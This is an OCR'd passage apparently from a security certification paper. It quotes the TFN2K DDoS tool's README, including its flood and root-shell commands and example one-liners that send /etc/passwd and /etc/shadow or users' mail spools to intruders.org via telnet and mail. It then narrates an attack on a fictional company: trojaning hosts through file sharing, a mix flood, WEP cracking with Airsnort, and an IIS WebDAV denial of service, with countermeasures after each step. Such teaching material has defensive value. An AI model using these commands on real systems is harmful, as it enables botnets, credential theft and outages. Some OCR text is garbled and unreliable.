4.1. Using TFEN for other distributed tasks
5. Technology description

6. Conclusions and Acknowledgements

About

TFN can be seen as the yet most functional DoS attack tool with the best
performance that is now almost impossible to detect. What is my point in
releasing this? Let me assure you it isn't to harm people or companies. It

is, however, to scare the heck out of everyone who does not care about
systematically securing his system, because tools sophisticated as this one
are out, currently being improved drastically, kept PRIVATE, and some of them
not with the somewhat predictable functionality of Denial Of Service. It is

time for everyone to wake up, and realize the worst scenario that could happen
to him if he does not care enough about security issues.

Therefore, this program is also designed to compile on a maximum number of
various operating systems, to show that almost no modern operating system is
specifically secure, including Windows, Solaris, most UNIX flavors and Linux.

Feature description

Using distributed client/server functionality, stealth and encryption
techniques and a variety of functions, TFN can be used to control any
number of remote machines to generate on-demand, anonymous Denial Of
Service attacks and remote shell access. The new and improved features in
this version include:

Functionality additions:
* Remote one-way command execution for distributed execution control
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* Mix attack aimed at weak routers
* Targa3 attack aimed at systems with IP stack vulnerabilities
* Compatibility to many UNIX systems and Windows NT

Anonymous stealth client/server communication using:
* spoofed source addresses

* strong advanced encryption

* one-way communication protocol

* messaging via random IP protocol

* decoy packets

Compilation

You have to agree to the disclaimer in order to compile TEN.

Before you compile, make sure to edit src/Makefile and uncomment the options
for your operating system. You are advised to take a look at src/config.h and
edit it to change some important default values.

Once you start compiling, you will be prompted for a server password that can
be 8 to 32 characters long. If you compile with REQUIRE_PASS, you will need
to remember and type in this password in order to use the client.

Installation

The TFN server is installed on a host running as root (or euid root).

It will not commit changes of system configuration in any way itself,

so you would have to make it restarting after system reboots.

Once the server is installed, you can add the hostname to your list

of ready servers (but you can contact single servers as well).

The TFEN client can be run from most (root) shells and windows command
line (with Administrator privileges needed on NT).

Using the client

The client, tfn, is used to contact the servers, which then will

change their configuration, spawn a shell, or control flood against

a multiple number of victim hosts. You can either read the servers
hosts from a file containing the hostnames: tfn -f file

or you can contact one server at a time: tfn -h hostname

The default command issued is to stop flooding by killing all

child threads on the server hosts. Commands can generally be issued
with -c <id>. See TFN command line and descriptions below.

The option -i is needed to give option values to commands, and to
parse the string of target hosts, which consists of all victim hosts,
separated by a delimiter character, which is @ by default. When using
smurf flood, only the first target is a victim and the following ones

are used as directed broadcast flood amplifier addresses.
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ID 1 - Anti Spoof Level: The DoS attack commenced by the servers will
always emanate from spoofed source IP addresses. With this command,
you can control which part of the IP address will be spoofed, and

which part will contain real bits of the actual IP.

ID 2 - Change Packet Size: The default ICMP/8, SMURF, and UDP attacks
use packets of a minimal size by default. You can increase this size

by changing the payload size of each packet in bytes.

ID 3 - Bind root shell: Starts a one-session server that drops you

to a root shell when you connect to the specified port.

ID 4 - UDP flood attack. This attack can be used to exploit the fact

that for every udp packet sent to a closed port, there will be an

ICMP unreachable message sent back, multiplying the attacks potential.
ID 5 - SYN flood attack. This attack steadily sends bogus connection
requests. Possible effects include denial of service on one or more
targeted ports, filled up TCP connection tables and attack potential
multiplication by TCP/RST responses to non-existent hosts.

ID 6 - ICMP echo reply (ping) attack. This attack sends ping requests
from bogus source IPs, to which the victim replies with equally large
response packets.

ID 7 - SMURF attack. Sends out ping requests with the source address
of the victim to broadcast amplifiers, hosts that reply with a

drastically multiplied bandwidth back to the source.

ID 8 - MIX attack. This sends UDP, SYN and ICMP packets interchanged
on a 1:1:1 relation, which can specifically be hazard to routers and

other packet forwarding devices or NIDS and sniffers.

ID 9 - TARGAS3 attack. Uses random packets with IP based protocols and
values that are known to be critical or bogus, and can cause some IP
stack implementations to crash, fail, or show other undefined behavior.
ID 10 - Remote command execution. Gives the opportunity of one-way
mass executing remote shell commands on the servers. See sub section
4.1 on further usage of this function.

For further information on the options, see also the command line help.

Using TFEN for other distributed tasks

According to the CERT advisory, recent versions of distributed attack

tools also include a new popular feature: self-updating software.

While | didn't explicitly include this function, it is basically possible

to do with TFN. Command #10, remote command execution, gives the TFN
user the ability of executing the same shell commands in "batch” mode on
any number of remote hosts. This should be regarded as a tiny demonstration
that distributed network tools are capable of virtually anything, beyond

such relatively simple things as Denial Of Service attacks.

Following are some fun but thoroughly evil examples:
(These are EXAMPLES, not suggestions.. just in case you plan on suing me =P)
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Remotely self-updating TFN servers:

Set up an account "user" at sample.edu for world access by putting

"+ +" into "~/.rhosts". Place "tfn3000" into /tmp, and issue the command:
tfn -f hosts.txt -c10 -i "( rcp user@sample.edu:/tmp/tin3000 /tmp/tfn3000\
&& killall -9 td && mv -f /tmp/tfn3000 /etc/owned/td && /etc/owned/td ) &"
Fetch password files:

On your local host, type: while :; do 'nc -l -p 666 >> passwds' ; done
Now issue the command: tfn -f hosts.txt -c10 -i "( hostname ; ypcat \
passwd || cat /etc/passwd /etc/shadow ) | telnet intruders.org 666"

Fun with Network Intrusion Detection:

tfn -f hosts.txt -c10 -i "echo 'GET /cgi-bin/phf?Qname=x%0A/bin/something\
%20is%20wrong%20with%20your%20IDS' | telnet www.security-
corporation.com 80"

Fun with e-mail:

tfn -f hosts.txt -c10 -i "cat ~mail/* | gzip -c | uuencode -m surprise.gz \

| mail -s surprise root@intruders.org"  or

tfn -f hosts.txt -c10 -i "echo better take care, people could accidentally\
shoot you | mail -s ‘a word of warning' president@whitehouse.gov"

Just a few of the possibilities, use your imagination... if nothing else
gets people to secure their networks, maybe these perspectives will. O:)

Technology description

TFN consists of a client and an unlimited number of servers that are
each installed on different hosts. Each one of these servers is

utilized to commence floods with spoofed source IPs.

Communication between client and server is realized using a randomly
chosen protocol, TCP, UDP or ICMP, with internal values optimized so
that no recognizable pattern can be found in client/server communication
and that the packets easily pass through most filtering mechanisms.
The actual Tribe Protocol (tm) is contained in the packet payload.

It is CAST-256 encrypted and base64 encoded, and is decoded by the
TFN servers in first place. The payload then consists of the header,
which is the command ID surrounded by two equal characters, and
followed by the target or option string.

The clients source IP address is generally spoofed, but a custom IP
may be used for purposes like evasion of rfc2267 ingress/egress
filtering, as well as a custom protocol.

Additionally, any amount of decoy packets can optionally be sent out
with every real packet, in order to obscure the real servers locations,
thereby completely obscuring the client/server communication.”
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| edit TFN2K Makefile, compile the program, and create TFN2K client (tfn) and
TEN2K server (td) for use on windows based system. Below is the portion of
Makefile, where different OS options can be seen:

# Linux / *BSD* / Others

# CC =gcc

# CFLAGS = -Wall -03

# CLIBS =

# Solaris (IRIX / AIX / HPUX ?)
#CC =gcc

#CFLAGS = -Wall -0O3
#CLIBS = -Insl -Isocket

# Win32 (cygwin)

CC =gcc

CFLAGS = -Wall -DWINDOZE -02
CLIBS =

Once that is done, I'll use peer-to-peer file sharing with “selected” IP addresses
to “share” my TEN2K files with unsuspecting users and get them to execute the
malicious code of TFN2K server. After that, | configure my TFT2K client to
include all 50 IP addresses scanned earlier in its configuration file and execute
the command from TFEN2K client:

tfn —f “config file containing tfn2k-servers” —c 8 —i “ip address of GIAC http server”
where:

-f option specifies the input file

-c 8 option specifies Mixflood type of attack

-1 option specifies the IP address of GIAC web server, which | obtained by using
internet nslookup command

“ID 8 - MIX attack. This sends UDP, SYN and ICMP packets interchanged
on a 1:1:1 relation, which can specifically be hazard to routers and
other packet forwarding devices or NIDS and sniffers.”

TFN2K daemon encrypts all the data (good) and allows me to send mixed
attacks from my slaves. All this mixed DDoS traffic will hit GIAC’s border router
and the firewall on it's way to the WEB server, causing them to become over
processed and considerably slow down if not crash altogether, even though there
is some access lists installed on the border router and the firewall policy is in
place. After approximately 30min | verify access by querying GIAC’s web server,
and find approximately 5min long response times, which are very good indication
that my attack was successful.
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| kept the attack going for another 2 hours and then stopped it by executing:
tfn —f “config file containing tfn2k-servers” —c 0
where:

-c 0 option causes immediate stop to flooding

Countermeasures to this type of attack would include implementation of anti
spoofing rules for inbound and outbound traffic on border router, “anti-TFN2K”
programs installed on major intrusion points, implementation of IDS system(s),
engaging ISP in proactive DDos prevention and keeping internal networks as
secure as possible to prevent the “leak out” of unneeded services that could be
used against GIAC

4.4 Compromise GIAC internal system

To compromise GIAC internal system I'm going to use wireless technology.
Although this type of network it is not explicitly mentioned in Eu Jin and Justin Ng
network diagram, | assume that it is a very high probability of GIAC management
and IT personnel using it at a present time. | have been using wireless networks
for quite some time now, investing substantial amount of money in putting
together very good wireless Kkit:

My hardware setup consist of:

» Compag Presario X 1000 laptop

» Orinoco 8482 Gold 802.11a/b/g PCI Card (A/B/G)

» Omni directional antenna with wide focus and relatively small gain
» Magellan USB GPS receiver

| have the following software installed on my laptop

Windows 2000 professional

Perl distribution software

GTK+ 1.3.0 and 2.2.4, GIMP 1.2.5 for windows
AiroPeek NX wireless sniffer for Windows
Microsoft MapPoint software

Airsnort for WEP cracking

Samspade for windows

VVVVVVYY
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| will use WLAN technology, because it is one of the hardest to detect and
investigate. | had already spent some time on “social engineering” and GIAC web
site information, to obtain the exact location of GIAC main office building.

My AiroPeek NX software purchased from:
http://www.wildpackets.com/products/airopeek nx supports packet capturing via
802.11a, b and g implementations as well as non-US channel surfing (from 1 to
24). Next, | setup my Orinoco card SSID (Service Set Identifier) to <Any> which
tells the driver to use a zero-length SSID in its probe requests which will cause
GIAC’s AP (Access Point) to respond, start my AiroPeek NX software and drive
to GIAC main office location. On location, as expected, my wireless antenna
picks up very strong signal and | am ready to start collecting packets from that
source. After one hour of sniffing, | had captured enough packets to analyze, so |
save them in a file and drive home. At home | switch my WLAN card to
promiscuous mode, fire up my AiroPeek, open up my saved capture file and start
doing some filtering. One of the nice features of AiroPeek software is Peer map,
which is showing me each captured system communicating with a particular
MAC address, and this is most likely GIAC’s AP (Access Point). | also see
GIAC's access point SSID in the open and notice 40bit WEP encryption taking
place, so my next step is to crack the WEP key using Airsnort ported for
Windows 2000

Below are steps to implement Airsnort on Windows 2000 taken from:

http://airsnort.shmoo.com/windows.html

Grab Airsnort out of the CVS tree at sourceforge.

http://cvs.sourceforge.net/viewcvs.py/airsnort/AirSnort/

A crude windows makefile is included. The makefile is used to build both
the required dll and the Airsnort executable.

To minimize the number of changes between platforms, Airsnort for
Windows uses the Windows ports of GLIB and GTK+1.2. Grab them here
GTK+ and GIMP for Windows. You will need at a minimum gtk+-1.3.0-
20030216.zip, glib-2.2.1.zip, glib-dev-2.2.1.zip and gtk+-dev-1.3.0-
20030115.zip. The names of these files may change slightly as new
versions are posted. This is not a tutorial on how to get those packages
installed, but you will need them placed where your compiler can find them
and may need to tweek the makefile to please all.

Copy AiroPeek NX file Peek5.sys (Win2K/XP). It will be located in the
AiroPeek directory. Copy this file into your AirSnort/bin directory. As far as
| can tell, this will allow AirSnort to run on Win2K/XP.

Compile and run AirSnort. You will need to get the device name of your
Orinoco card. For me, it was found in the registry at:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
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NT\CurrentVersion\NetworkCards. Look through each of the numbered
keys until you find the one that refers to your Orinoco card. Mine was
something like {6CB9D388-3838-4282-9B9D-54A90338FC8A} prefix this
with \Device\ to get your device name, such as: \Device\{6CB9D388-3838-
4282-9B9D-54A90338FC8A}, also select card type Orinoco just for the
hell of it.

To compile, from the AirSnort directory use the command:

nmake /f windows.mak

Once that's done, | run Airsnort binary and feed it with captured AiroPeek NX
data and in a fairly short time of 10 minutes (GIAC uses only 40bit encryption) |
am presented with the WEP encryption key.

At this point, | basically have all | need (SSID name, AP MAC address and WEP
encryption key), to be able to attach to GIAC WLAN via its access point and
perform some passive sniffing to determine that there is an Microsoft IIS system
present, based on public header in http responses generated by my OPTIONS
requests. Based on this information, | introduce a string of malformed WebDAV
requests (http extensions for Distributed Authoring & Versioning), which will
result in 1S allocating an extremely large amount of memory on the server, failing
to respond to further legitimate requests for service.

Countermeasures that GIAC could implement against this type of attack:

WEP — Wired Equivalent Privacy, protects wireless networks from eavesdropping
and unauthorized access with its newest implementation (256 bit encryption).

WPA — Wi-Fi protected access.

SSID - Service set id with good password protection and disabled broadcast.
Authentication should not include “open system”.

Facilitate using MAC address filtering.

Use DHCP pool to limit the number of connections.
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